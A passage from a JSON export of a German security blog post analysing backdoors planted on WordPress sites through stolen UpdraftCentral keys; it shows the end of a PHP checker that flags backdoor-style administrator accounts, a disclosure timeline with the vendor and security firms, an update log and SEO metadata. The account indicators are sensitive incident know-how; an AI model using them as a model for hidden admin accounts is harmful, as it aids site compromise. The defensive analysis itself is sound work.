&#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name IN (&#39;Site Tools&#39;, &#39;System Team&#39;, &#39;Web Tech&#39;, &#39;System Staff&#39;, &#39;System Ops&#39;, &#39;Cms Tech&#39;)&quot; ) as $user ) {\n\t\/\/ Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$admin_level = ! empty( $caps[&#39;administrator&#39;] ) || ! empty( $caps[&#39;manage_options&#39;] ) || ! empty( $caps[&#39;install_plugins&#39;] );\n\tif ( $admin_level || $user-&gt;user_registered &gt;= &#39;2026-10-17&#39; ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;, registered {$user-&gt;user_registered}&quot; . ( $admin_level ? &#39;, with admin-level rights&#39; : &#39;&#39; ) );\n\t} else {\n\t\t$report( &#39;WARN&#39;, &quot;Account {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot; matches the backdoor pattern but has no admin-level rights and was registered on {$user-&gt;user_registered}. Probably unrelated; make sure you know it.&quot; );\n\t}\n\t$flagged[ $user-&gt;ID ] = true;\n\t$user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n\t$user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n\tif ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n\t\t$user_hits++;\n\t}\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n\techo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n\techo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n\techo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"warum-wir-sofort-ver\u00f6ffentlichen\">Warum wir sofort ver\u00f6ffentlichen<\/h2>\n<p>Responsible Disclosure bedeutet, dem Hersteller Zeit f\u00fcr eine Korrektur zu geben und Details erst danach zu ver\u00f6ffentlichen. Daf\u00fcr gibt es hier leider keinen Grund. Der Angreifer verbreitet Hintert\u00fcren bereits aktiv in WordPress-Installationen, und ein Fix des Herstellers hilft den Betreibern nicht, solange der Angreifer g\u00fcltige Schl\u00fcssel hat. Der einzige wirksame Schutz ist, die UpdraftCentral-Verbindung zu entfernen und die Website zu pr\u00fcfen, und das kann jeder Administrator sofort tun.<\/p>\n<p>Die Ver\u00f6ffentlichung hilft dem Angreifer nicht. Er braucht g\u00fcltige Schl\u00fcssel, die er bereits hat, und nichts in diesem Artikel gibt ihm einen neuen Angriffsweg. Den Verteidigern gibt sie dagegen eine Anleitung zum Schutz. Die Hintert\u00fcr stammt zudem aus einem Generator, der f\u00fcr jede Website andere Namen, Tokens und Passw\u00f6rter erzeugt, was auf ein Werkzeug f\u00fcr eine gro\u00dfe Zahl von Websites hindeutet. Jede Stunde Warten gibt dem Angreifer Zeit f\u00fcr weitere Websites.<\/p>\n<h2 id=\"kommunikation-mit-dem-hersteller-und-sicherheitsfirmen\">Kommunikation mit dem Hersteller und Sicherheitsfirmen<\/h2>\n<ul>\n<li>19.10.2026: Meldung an TeamUpdraft \u00fcber das Premium-Support-Formular, mit Logs und einer Analyse von Website A<\/li>\n<li>19.10.2026: Nachtrag zu den Angriffen auf die Websites B und C, die zweite Probe und ein Vergleich des User-Agents mit dem echten Dashboard<\/li>\n<li>19.10.2026: Wordfence und Patchstack informiert, damit sie eine Erkennung erg\u00e4nzen und weitere Betreiber warnen k\u00f6nnen<\/li>\n<li>19.10.2026: TeamUpdraft ver\u00f6ffentlichte eine <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">Stellungnahme zum Sicherheitsvorfall<\/a> und best\u00e4tigte den Zugriff auf die Kundendatenbank einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel<\/li>\n<li>19.10.2026: In seiner Antwort auf unsere Meldung best\u00e4tigte TeamUpdraft, dass es die UpdraftCentral-Schl\u00fcssel als kompromittiert betrachtet, und bittet alle UpdraftCentral-Kunden, jede Website zu trennen und zu pr\u00fcfen. Die Notfallversion von UpdraftPlus war bei Redaktionsschluss noch nicht erschienen (aktuell ist 1.26.11 vom 16.10.).<\/li>\n<li>19.10.2026: Patchstack ver\u00f6ffentlichte <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">eine eigene Analyse<\/a> und best\u00e4tigte beide IP-Adressen des Angreifers. Wordfence und Patchstack baten um Proben.<\/li>\n<li>19.10.2026: Wordfence und Patchstack haben wir die Proben von unseren Websites geschickt und sp\u00e4ter auch die Indikatoren der funktionierenden Variante, die uns ein weiterer Administrator zur Verf\u00fcgung gestellt hat.<\/li>\n<li>19.10.2026: Mit Zustimmung zweier weiterer betroffener Administratoren haben wir Wordfence und Patchstack deren Proben geschickt, einschlie\u00dflich der minimalen dritten Variante, sowie die Log-Eintr\u00e4ge zum Austausch der Hintert\u00fcr.<\/li>\n<li>19.10.2026: TeamUpdraft beantwortete unsere Nachfragen. Der Angreifer hatte ab dem Abend des 17.10. (Samstag) Zugang zu teamupdraft.com; der Hersteller bemerkte am Abend des 18.10. (Sonntag) verd\u00e4chtige Aktivit\u00e4ten und best\u00e4tigte den Vorfall gegen 20:00 BST. Er sperrte den Zugang, meldete alle Konten ab und begann, Schl\u00fcssel und Zugangsdaten auszutauschen. TOTP-Geheimnisse lassen sich laut Hersteller nicht als Hash speichern, bei einem Datenbankleck muss man also auch mit ihnen rechnen. Als Notfallversion nannte er 2.26.12, die die Schl\u00fcssel jedoch nicht l\u00f6scht (siehe oben). Ob er Kompromittierungsindikatoren ver\u00f6ffentlicht, wei\u00df er noch nicht.<\/li>\n<li>19.10.2026: Wir haben TeamUpdraft darauf hingewiesen, dass Version 2.26.12 die Schl\u00fcssel nicht l\u00f6scht und dass die Grenze 18.10. 12:07 UTC in Version 1.26.13 nicht zu ihrer Stellungnahme passt, und gefragt, ob 2.26.13 f\u00fcr Premium-Kunden verf\u00fcgbar ist.<\/li>\n<li>20.10.2026: Wir haben Wordfence und Patchstack mitgeteilt, dass Version 2.26.12 die Schl\u00fcssel nicht l\u00f6scht, und sie auf das vorausgew\u00e4hlte Kontrollk\u00e4stchen \u201eAdd this website to UpdraftCentral\u201c sowie eine weitere Probe der ersten Variante hingewiesen.<\/li>\n<li>20.10.2026: Mit Zustimmung eines weiteren Administrators haben wir Wordfence und Patchstack drei Proben von einer Website geschickt, darunter die minimale Variante, die sich aus der Plugin-Liste versteckt.<\/li>\n<li>19.10.2026: Wordfence ver\u00f6ffentlichte <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">einen eigenen Hinweis<\/a>, der unsere Analyse zitiert, und eine Firewall-Regel auch f\u00fcr die kostenlose Version. Weder die Regel noch der Hinweis ber\u00fccksichtigen bisher, dass 1.26.12 \/ 2.26.12 die Schl\u00fcssel nicht l\u00f6scht.<\/li>\n<li>20.10.2026: Wir haben Wordfence darauf hingewiesen, dass ihre Regel die Versionen 1.26.12 \/ 2.26.12 nicht abdeckt, die die Schl\u00fcssel nicht l\u00f6schen, und dass die Grenze der Sperrung 12:07 UTC ist. Wordfence und Patchstack erhielten die Indikatoren der heutigen Versuche, die Hintert\u00fcren zu benutzen.<\/li>\n<li>20.10.2026: Mit Zustimmung dreier weiterer Administratoren haben wir Wordfence und Patchstack zw\u00f6lf Proben geschickt, darunter eine zweite Kopie der versteckten minimalen Variante.<\/li>\n<li>20.10.2026: TeamUpdraft erg\u00e4nzte seine <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">Stellungnahme<\/a> um den Hinweis, dass Version 1.26.13 \/ 2.26.13, ver\u00f6ffentlicht am 19.10. kurz nach 22:00 BST, die UpdraftCentral-Schl\u00fcssel gesperrt habe und der unbefugte Zugriff beendet sei. In der Anleitung empfiehlt der Hersteller aber weiterhin 1.26.12 \/ 2.26.12. Auf unsere Frage, auf welche Version man aktualisieren soll, antwortete er mit einem Link auf diese Stellungnahme.<\/li>\n<li>21.10.2026: Wir haben TeamUpdraft darauf hingewiesen, dass der Angreifer auch am Morgen des 21.10. UpdraftCentral-Befehle schickte, dass ihre Anleitung weiterhin 1.26.12 \/ 2.26.12 nennt und dass die Premium-Version das Passwort des teamupdraft.com-Kontos in der Datenbank speichern kann. Der Hersteller hatte uns geantwortet, dass er unseren Artikel an seine Entwickler weitergegeben hat.<\/li>\n<li>21.10.2026: In <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">Aktualisierungen seiner Stellungnahme<\/a> gab TeamUpdraft an, dass der Angreifer mit einem kompromittierten Schl\u00fcssel in teamupdraft.com gelangt sei, dass der Hersteller eine externe Sicherheitsfirma hinzugezogen und die Polizei eingeschaltet habe und dass WordPress.org Version 1.26.13 automatisch an alle Websites verteilt habe. Premium-Nutzer fordert er auf, ihre Websites zu pr\u00fcfen, auch wenn sie UpdraftCentral nie benutzt haben. Laut Hersteller deuten das Tempo des Angriffs und die anfangs fehlerhaften Hintert\u00fcren darauf hin, dass der Angreifer KI eingesetzt hat. Auf unsere letzte Nachricht antwortete der Hersteller, die Anleitung sei bereits angepasst und er rate allen Kunden, ihr teamupdraft.com-Passwort zu \u00e4ndern. In den Schritten der Anleitung stand am 22.10. allerdings weiterhin 1.26.12 \/ 2.26.12, und zur Grenze der Sperrung \u00e4u\u00dferte er sich nicht. Beides hat der Hersteller bis zum 23.10. korrigiert (siehe unten).<\/li>\n<li>22.10.2026: Mit Zustimmung eines weiteren Administrators haben wir Wordfence und Patchstack die Probe <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code> und den Log-Eintrag des Versuchs des Angreifers geschickt, sie am 20.10. zu benutzen.<\/li>\n<li>23.10.2026: TeamUpdraft korrigierte seine <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">Stellungnahme<\/a> (zuletzt aktualisiert am 23.10. um 05:26 BST). Die Schritte nennen jetzt 1.26.13 \/ 2.26.13, und als Grenze f\u00fcr die automatisch getrennten Verbindungen gibt die Stellungnahme den 18.10. um 13:07 BST (14:07 MESZ) an, was dem Code entspricht. Der Hersteller hat uns \u00fcber die Korrektur informiert und um eine Anpassung dieses Artikels gebeten.<\/li>\n<\/ul>\n<p>Wenn Sie einen \u00e4hnlichen Angriff beobachtet haben, schreiben Sie uns an info@nethemba.com. Proben und weiteres technisches Material stellen wir dem Hersteller und Sicherheitsteams auf Anfrage zur Verf\u00fcgung.<\/p>\n<h2 id=\"aktualisierungen\">Aktualisierungen<\/h2>\n<ul>\n<li>19.10.2026: Erstver\u00f6ffentlichung.<\/li>\n<li>19.10.2026: Hinweis, dass das UpdraftCentral-Log nur 50 Ereignisse speichert, plus Pr\u00fcfung des Access-Logs; Empfehlung, die Verbindung nicht neu anzulegen; Vorgehen bei vollst\u00e4ndig kompromittierten Websites; Pr\u00e4zisierung der von CVE-2026-10795 betroffenen Versionen.<\/li>\n<li>19.10.2026: Stellungnahme des Herstellers erg\u00e4nzt, der den Abfluss der Schl\u00fcssel von teamupdraft.com best\u00e4tigt hat; Empfehlungen, Fix und Umfang aktualisiert.<\/li>\n<li>19.10.2026 (abends): zweite Variante mit verstecktem Administrator, weitere Proben der ersten Variante, zweite IP-Adresse, Link zur Analyse von Patchstack, Pr\u00fcfskript Version 2.<\/li>\n<li>19.10.2026: direkte Antwort des Herstellers auf unsere Meldung erg\u00e4nzt.<\/li>\n<li>19.10.2026: funktionierende Variante im Umlauf best\u00e4tigt, weitere Proben beider Varianten, Pr\u00fcfung der Ausl\u00f6ser im Access-Log, Schutz durch ein nicht beschreibbares Plugin-Verzeichnis, Auskundschaftung am 23.09., Pr\u00fcfskript Version 3.<\/li>\n<li>19.10.2026: Analyse einer Probe der funktionierenden Variante (das Verstecken des Kontos funktioniert nicht), minimale dritte Variante, weitere Probe der ersten Variante, Hinweis auf wiederholte Installationen, Pr\u00fcfskript Version 4.<\/li>\n<li>19.10.2026: der Angreifer kommt zur\u00fcck (Austausch der Hintert\u00fcr per <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code>, Befehlsversuche auf unsere Websites bis in den Abend), Auswahl der Websites anhand der Liste in UpdraftCentral, Pr\u00fcfskript Version 5.<\/li>\n<li>19.10.2026: Notfallversion des Herstellers (1.26.12 l\u00f6scht keine Schl\u00fcssel, erst 1.26.13 funktioniert, aber nicht f\u00fcr Schl\u00fcssel vom 18.10. zwischen 14:07 und 23:00 MESZ), Antworten des Herstellers erg\u00e4nzt.<\/li>\n<li>20.10.2026: ein UpdraftCentral-Schl\u00fcssel kann ohne Wissen des Betreibers entstehen (vorausgew\u00e4hltes Kontrollk\u00e4stchen in der Premium-Version), weitere Probe der ersten Variante, Hinweis zu IP-Adressen hinter einem Proxy, Pr\u00fcfskript Version 6.<\/li>\n<li>20.10.2026: Pr\u00fcfskript Version 7 unterscheidet ein fehlendes UpdraftCentral-Log.<\/li>\n<li>20.10.2026: versteckte Abwandlung der minimalen Variante, weitere Proben, mehrere Hintert\u00fcren auf einer Website, Pr\u00fcfskript Version 8.<\/li>\n<li>20.10.2026: weitere Probe der ersten Variante (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>).<\/li>\n<li>20.10.2026: zehn weitere Proben von drei Administratoren, funktionierende Hintert\u00fcren vor dem Absturz der Website, Bedeutung der Zeilen \u201eSignature verification failed\u201c, wiederkehrende Autorennamen.<\/li>\n<li>20.10.2026: Empfehlung, auch UpdraftPlus-Migrator-Schl\u00fcssel zu l\u00f6schen, Pr\u00fcfskript Version 9.<\/li>\n<li>20.10.2026: der Angreifer probiert die Ausl\u00f6ser entfernter Hintert\u00fcren (neue IP-Adressen), Korrektur: auch die kostenlose Version hat das vorausgew\u00e4hlte Kontrollk\u00e4stchen, Bedeutung der Statuscodes im Access-Log, Link zum Hinweis von Wordfence und seiner Firewall-Regel, weitere Namen.<\/li>\n<li>20.10.2026: Pr\u00e4zisierung, wann ein UpdraftCentral-Schl\u00fcssel entsteht.<\/li>\n<li>21.10.2026: Stellungnahme des Herstellers vom 20.10. erg\u00e4nzt, unsere Websites haben 2.26.13 erhalten, Hinweis auf das in der Datenbank gespeicherte Passwort des teamupdraft.com-Kontos.<\/li>\n<li>21.10.2026: der Angreifer schickt auch nach der Ver\u00f6ffentlichung von 1.26.13 UpdraftCentral-Befehle.<\/li>\n<li>21.10.2026: weitere Versuche, die Hintert\u00fcren zu benutzen (neue IP-Bereiche), m\u00f6glicherweise zusammenh\u00e4ngende Abfragen der UpdraftPlus-Version.<\/li>\n<li>22.10.2026: neue Stellungnahmen des Herstellers vom 21.10. (\u00fcber WordPress.org erzwungenes Update, externe Firma, Polizei).<\/li>\n<li>22.10.2026: in der Datenbank gespeichertes Passwort des teamupdraft.com-Kontos und wie man es entfernt, ein weiterer IP-Bereich bei den Versuchen, die Hintert\u00fcren zu benutzen, Pr\u00fcfskript Version 10.<\/li>\n<li>22.10.2026: weitere Probe der ersten Variante (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>).<\/li>\n<li>23.10.2026: erg\u00e4nzt, wie oft das Passwort des teamupdraft.com-Kontos in der Datenbank bleibt.<\/li>\n<li>23.10.2026: Test eines Lesers und Stellungnahme des Herstellers zum in der Datenbank gespeicherten Passwort.<\/li>\n<li>26.10.2026: korrigierte Stellungnahme des Herstellers vom 23.10. (Versionen 1.26.13 \/ 2.26.13 in der Anleitung, Grenze 14:07 MESZ); betroffene Versionen, Fix und Kommunikation angepasst.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>In der Nacht zum 19. Oktober 2026 missbrauchte ein Angreifer UpdraftCentral, den Fernverwaltungsdienst des Backup-Plugins UpdraftPlus mit \u00fcber 4 Millionen Installationen, und installierte auf zwei unserer drei Websites eine Hintert\u00fcr. Unsere Websites waren vollst\u00e4ndig aktuell, der Fehler lag nicht bei uns: Der Angreifer signierte seine Befehle mit g\u00fcltigen Schl\u00fcsseln, die der Dienst UpdraftCentral Cloud erzeugt und verwahrt. Wir ver\u00f6ffentlichen eine Analyse der Hintert\u00fcr, Indikatoren einer Kompromittierung und eine Anleitung zur Pr\u00fcfung eigener Websites. Der Hersteller best\u00e4tigte sp\u00e4ter, dass der Angreifer die Kundendatenbank von teamupdraft.com einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel erbeutet hat.<\/p>\n","protected":false},"author":2,"featured_media":9615,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[2918,11],"tags":[],"class_list":["post-9628","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog-de","category-unkategorisiert"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba<\/title>\n<meta name=\"description\" content=\"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba\" \/>\n<meta property=\"og:description\" content=\"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-26T03:36:21+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"57\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites\",\"datePublished\":\"2026-10-19T05:44:04+00:00\",\"dateModified\":\"2026-10-26T03:36:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":8140,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"articleSection\":[\"Blog\",\"Unkategorisiert\"],\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"datePublished\":\"2026-10-19T05:44:04+00:00\",\"dateModified\":\"2026-10-26T03:36:21+00:00\",\"description\":\"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-de.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/home-new-2025\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba","description":"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"de_DE","og_type":"article","og_title":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba","og_description":"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 